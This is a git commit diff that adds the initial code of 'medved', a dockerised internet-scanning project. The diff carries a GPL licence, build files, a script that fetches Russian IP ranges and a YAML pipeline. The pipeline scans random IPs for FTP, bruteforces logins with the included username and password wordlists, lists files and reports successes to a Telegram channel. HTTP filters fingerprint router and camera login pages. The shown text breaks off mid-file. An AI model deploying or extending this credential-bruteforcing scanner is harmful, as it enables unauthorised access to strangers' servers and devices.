commit d782c2eb7024d0e34d8e64a4959598a9a81a93cb Author: Good Evening Date: Tue Apr 3 01:41:10 2018 +0300 pew pew diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8748ffc --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +__pycache__ +screens/*.png +*.log +*~* +.idea +nohup.out +config.json +docker/lib/redis/dump.rdb +docker/lib/mongo/configdb +docker/lib/mongo/db diff --git a/Config.py b/Config.py new file mode 100644 index 0000000..117f34c --- /dev/null +++ b/Config.py @@ -0,0 +1,33 @@ +#!/usr/bin/python3 +# -*- coding: utf-8 -*- + +import json +import yaml +import logging +from collections import namedtuple + + +def namedtupledict(*a, **kw): + nt = namedtuple(*a, **kw) + + def getitem(self, key): + try: + if type(key) == str: + return getattr(self, key) + return tuple.__getitem__(self, key) + except Exception: + raise Exception("Could not get %s" % key) + + def ntiter(self): + for name in self._fields: + yield name, getattr(self, name) + + nt.__iter__ = ntiter + nt.__getitem__ = getitem + + return nt + +cnf = {} +# dafuq +with open('data/config.yaml') as config_file: + cnf = json.loads(json.dumps(yaml.load(config_file)), object_hook=lambda d: namedtupledict('X', d.keys())(*d.values())) \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..8448c25 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,22 @@ +FROM base/archlinux:latest + +RUN echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && locale-gen + +ENV LC_ALL=en_US.UTF-8 \ + LANG=en_US.UTF-8 + +RUN pacman -Syy --noconfirm + +RUN pacman -S --noconfirm reflector && reflector --verbose -l 200 -p http --sort rate --save /etc/pacman.d/mirrorlist + +RUN pacman -S --noconfirm --needed wget python python-pip vim proxychains base-devel geoip bind-tools grep + +RUN cd /tmp && \ + wget https://github.com/kelseyhightower/confd/releases/download/v0.14.0/confd-0.14.0-linux-amd64 -O confd && \ + chmod +x confd + +COPY requirements.txt /tmp/requirements.txt + +RUN pip3 install -r /tmp/requirements.txt + +ADD docker/confd /etc/confd \ No newline at end of file diff --git a/Dockerfile.test b/Dockerfile.test new file mode 100644 index 0000000..52b4153 --- /dev/null +++ b/Dockerfile.test @@ -0,0 +1,9 @@ +FROM medved_base:latest + +ENV CORE_IP=localhost MONGO_IP=localhost SELENIUM_IP=localhost REDIS_IP=localhost LOGLEVEL=INFO + +COPY docker/test.sh /tmp/test.sh + +COPY . /mdvd/ + +RUN /tmp/test.sh \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..c442e4b --- /dev/null +++ b/Makefile @@ -0,0 +1,38 @@ +all: down clean base bup + +base: + docker build -t medved_base . + +basenc: + docker build -t medved_base . --no-cache + +up: + docker-compose up + +upd: + docker-compose up -d + +bup: + docker-compose up --build + +bupd: + docker-compose up --build -d + +bupds: + docker-compose up --build -d --scale worker=5 + +down: + docker-compose down + +test: + docker build -t medved_base_test -f Dockerfile.test . + +clean: + find -iname *.pyc -delete + find -type d -name __pycache__ -delete + sudo rm -vf *.log + sudo rm -f config.json + +cleandb: + sudo rm -rfv docker/lib/mongo/* + sudo rm -rfv docker/lib/redis/* diff --git a/README.md b/README.md new file mode 100644 index 0000000..fd2e49b --- /dev/null +++ b/README.md @@ -0,0 +1,5 @@ +# medved + +to setup, update token and posting channels in docker/confd/templates/config.json.tmpl. you may also choose which plugins to use and tune their options. + +run `make base && docker-compose up --build --scale worker=5` diff --git a/__init__.py b/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/bin/config-linter.py b/bin/config-linter.py new file mode 100644 index 0000000..b1c25d1 --- /dev/null +++ b/bin/config-linter.py @@ -0,0 +1,46 @@ +import json, yaml +import sys, os +import importlib + +sys.path.append(os.path.join(os.path.dirname(__file__), '..')) + +from Config import namedtupledict +from lib import Logger, Loader + +logger = Logger('Linter') +logger.info('Reading config') + +with open('data/config.yaml', 'r') as config: + data = yaml.load(config) + +cnf = json.loads(json.dumps(data), object_hook=lambda d: namedtupledict('X', d.keys())(*d.values())) + +logger.info("Config: \n%s", json.dumps(data, indent=2)) + +logger.info('CORE') +services_check = ["datamgr", "listener", "executor"] +services = [] +logger.info("Checking services: %s", ", ".join(services)) +for s, sv in cnf.core: + services.append(s) +print(services) +for s in services_check: + if not s in services: + logger.error("Service %s is not defined!", s) + else: + logger.info("Service %s is defined, continuing", s) + for k, v in cnf.core[s]: + if k == 'package': + try: + importlib.import_module(v) + except Exception as e: + logger.error("Unable to load package %s!\n%s", v, e) + else: + logger.info("Package %s was imported successfully", v) + elif k == 'service': + try: + Loader(cnf.core[s]['package']).get(v) + except Exception as e: + logger.error("Unable to load package %s!\n%s", v, e) + else: + logger.info("Service %s was imported successfully", v) diff --git a/bin/gen-ranges.py b/bin/gen-ranges.py new file mode 100755 index 0000000..9c6e184 --- /dev/null +++ b/bin/gen-ranges.py @@ -0,0 +1,13 @@ +import netaddr as n +import requests as r + +# country two letter code +cn = 'ru' + +# list of networks +nets = [n.IPNetwork(net.decode('ascii')) for net in r.get('http://www.cc2asn.com/data/%s_ipv4' % cn).iter_lines()] + +for net in nets: + print(str(n.IPAddress(net.first)) + '-' + str(n.IPAddress(net.last))) + + diff --git a/data/config.yaml b/data/config.yaml new file mode 100644 index 0000000..0e00494 --- /dev/null +++ b/data/config.yaml @@ -0,0 +1,113 @@ +Core: + services: + - data_manager +# - zmq_listener +# - rq_executor + pipelines: + - ftp + + +services: + data_manager: + package: lib.data.Manager + service: DataManager + oneshot: 500 + data: + id: pool + sources: + - random_ip + feeds: + - test_telegram + zmq_listener: + package: lib.net.Listener + service: ZMQListener + data: + id: pool + listen: "0.0.0.0" + port: 12321 + rq_executor: + package: lib.exeq.Executor + service: RQExecutor + data: + id: pool + redis: + host: "127.0.0.1" + + +sources: + random_ip: + package: lib.plugin.base.lib.IP + service: RandomIP + data: + id: random_ip + oneshot: 100 + delay: 0.5 + + +feeds: + test_telegram: + package: lib.plugin.base.lib.Telegram + service: TelegramFeed + data: + id: pool + token: + chats: + - id: good_evening + pipelines: [ftp, gopher] + filter: + clause: any-of + equal: + - ftp_list_files_status: success + - gopher_collect_status: success + delay: 10 + + +storage: + pool: + package: lib.plugin.base.lib.Mongo + service: MongoStorage + size: 40960 + url: "127.0.0.1" + db: "medved" + coll: 'pool' + random_ip: + package: lib.plugin.base.lib.Mongo + service: MongoStorage + size: 500 + url: "127.0.0.1" + db: "medved" + coll: 'randomipsource' + + +pipelines: + ftp: + steps: + - name: scan + package: lib.plugin.iscan.tasks.common + service: scan + multiple: 200 + requires: [] + - name: connect + package: lib.plugin.iscan.tasks.ftp + service: connect + multiple: False + requires: [ + ftp_scan + ] + - name: list_files + package: lib.plugin.iscan.tasks.ftp + service: list_files + multiple: False + requires: [ + ftp_connect + ] + +tasks: + ftp_scan: + ports: [21] + ftp_connect: + logins: data/ftp/logins.txt + passwords: data/ftp/passwords.txt + bruteforce: true + timeout: 15 + ftp_list_files: diff --git a/data/ftp/logins.txt b/data/ftp/logins.txt new file mode 100644 index 0000000..6792599 --- /dev/null +++ b/data/ftp/logins.txt @@ -0,0 +1,8 @@ +admin +ftp +ftpuser +ftpadmin +root +uploader +test +user \ No newline at end of file diff --git a/data/ftp/passwords.txt b/data/ftp/passwords.txt new file mode 100644 index 0000000..c9bac73 --- /dev/null +++ b/data/ftp/passwords.txt @@ -0,0 +1,15 @@ + +password +ftp +ftpuser +12345 +123123 +1234 +123456 +1234567 +abc123 +qwerty123 +test +test1 +user +admin \ No newline at end of file diff --git a/data/http/filters.json b/data/http/filters.json new file mode 100644 index 0000000..d5df6ef --- /dev/null +++ b/data/http/filters.json @@ -0,0 +1,119 @@ +{ + "RouterOSLoginPage": { + "content": { + "title": [ + "RouterOS", + "router" + ], + "body": [ + "RouterOS", + "mikrotik" + ] + }, + "storage": { + "max": 150 + } + }, + "ZyXel": { + "content": { + "body": [ + "top.location='/index.html';" + ], + "server": "micro_httpd" + } + }, + "TechnicolorGatewayLogin": { + "content": { + "title": [ + "Technicolor", + "Gateway", + "Login" + ], + "body": [ + "Technicolor", + "Gateway" + ] + }, + "storage": { + "max": 100 + } + }, + "TechnicolorModem": { + "content": { + "title": [ + "Módem", + "Inicio", + "sesión" + ], + "body": [ + "Technicolor", + "TELMEX" + ] + }, + "storage": { + "max": 100 + } + }, + "IIS7": { + "content": { + "title": [ + "IIS7" + ], + "body": [ + "IIS7", + "http://go.microsoft.com/fwlink/", + "welcome.png" + ] + }, + "storage": { + "max": 150 + } + }, + "NETSurveillanceWEB": { + "content": { 